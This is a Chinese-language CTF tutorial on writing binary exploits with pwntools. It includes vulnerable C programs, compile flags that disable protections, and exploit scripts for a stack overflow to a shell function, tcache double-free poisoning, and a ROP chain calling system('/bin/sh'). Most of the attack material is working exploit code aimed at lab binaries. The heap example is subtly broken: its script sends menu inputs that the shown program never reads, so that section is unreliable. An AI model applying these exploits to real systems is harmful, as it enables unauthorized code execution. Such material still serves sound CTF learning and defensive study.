pwntools 是一个强大的 Python 库,用于编写二进制漏洞利用脚本。在 CTF 中,它提供了便捷的接口与目标程序交互,能够帮助你快速编写漏洞利用代码。
以下是使用 pwntools 编写 PWN 利用脚本的基本步骤和常见技巧:
1. 安装 pwntools
pip install pwntools
2. 基础用法
以下是一些常用功能的介绍:
2.1 连接目标
- 本地运行:
- ‘’‘
from pwn import * p = process('./vulnerable') # 本地目标’‘’ - 远程连接:
p = remote('example.com', 1234) # 远程目标
2.2 发送和接收数据
- 发送数据:
p.send(b'hello') # 发送数据(字节流) p.sendline(b'hello') # 发送并加上换行符 - 接收数据:
response = p.recv() # 接收所有数据 response = p.recvline() # 接收一行数据 response = p.recvuntil(b':') # 接收到指定字符
2.3 常见功能
- 交互模式:用于与程序交互调试。
p.interactive() - 调试程序:附加 GDB。
gdb.attach(p, gdbscript="b main") - 加载 ELF 和 libc:
elf = ELF('./vulnerable') # 加载目标 ELF 文件 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # 加载 libc 文件
3. 编写一个简单的栈溢出利用脚本
以下是一个基础栈溢出的例子:
漏洞程序 vulnerable.c:
#include <stdio.h>
#include <string.h>
void win() {
system("/bin/sh");
}
void vuln() {
char buffer[64];
gets(buffer); // 漏洞点:没有边界检查
}
int main() {
vuln();
return 0;
}
编译命令:
gcc -o vulnerable vulnerable.c -no-pie -fno-stack-protector
利用脚本:
from pwn import *
# 设置上下文(可选,方便调试)
context(os='linux', arch='amd64')
context.log_level = 'debug'
# 连接目标程序
p = process('./vulnerable') # 本地运行
# p = remote('example.com', 1234) # 远程连接
# 加载 ELF 文件
elf = ELF('./vulnerable')
win_addr = elf.symbols['win'] # 获取 win 函数地址
# 构造 Payload
padding = b'A' * 72 # 根据栈布局计算偏移
payload = padding + p64(win_addr)
# 发送 Payload
p.sendline(payload)
# 打开交互模式
p.interactive()
4. 堆利用的例子
针对堆漏洞,以下是一个简单的利用 tcache poisoning 的脚本:
漏洞程序 heap_vuln.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void secret() {
system("/bin/sh");
}
int main() {
char *a = malloc(0x60);
char *b = malloc(0x60);
free(a);
free(a); // Double free 漏洞
return 0;
}
编译命令:
gcc -o heap_vuln heap_vuln.c -no-pie -g
利用脚本:
from pwn import *
# 设置上下文
context(os='linux', arch='amd64')
context.log_level = 'debug'
# 启动目标程序
p = process('./heap_vuln')
elf = ELF('./heap_vuln')
# 利用 tcache 双重释放
p.sendlineafter('>', '1') # malloc a
p.sendlineafter('>', '1') # malloc b
p.sendlineafter('>', '2') # free a
p.sendlineafter('>', '2') # free a again
# 伪造堆地址
p.sendlineafter('>', '1')
p.sendlineafter('>', '1') # 分配到伪造地址
# 劫持控制流
secret_func = elf.symbols['secret']
p.sendlineafter('>', p64(secret_func))
# 交互模式
p.interactive()
5. 结合 ROP 实现复杂利用
ROP(Return-Oriented Programming)是绕过 NX 防护的核心技术。pwntools 提供了 ROP 工具:
利用 ROP:
from pwn import *
# 加载目标
elf = ELF('./vulnerable')
rop = ROP(elf)
# 寻找 gadgets 和构造 ROP 链
rop.raw(rop.find_gadget(['pop rdi', 'ret'])[0]) # 加载参数
rop.raw(next(elf.search(b'/bin/sh'))) # "/bin/sh" 的地址
rop.raw(elf.plt['system']) # 调用 system
# 打印 ROP 链
log.info("ROP chain: " + str(rop))
# 构造 Payload
padding = b'A' * 72
payload = padding + rop.chain()
# 发送 Payload
p = process('./vulnerable')
p.sendline(payload)
p.interactive()
6. 调试与优化
- 动态调试:运行脚本前使用
gdb附加调试。 - 日志信息:通过
context.log_level调整日志级别,观察交互细节。 - 自动化:利用
pwntools中的自动化工具,如cyclic自动定位偏移量。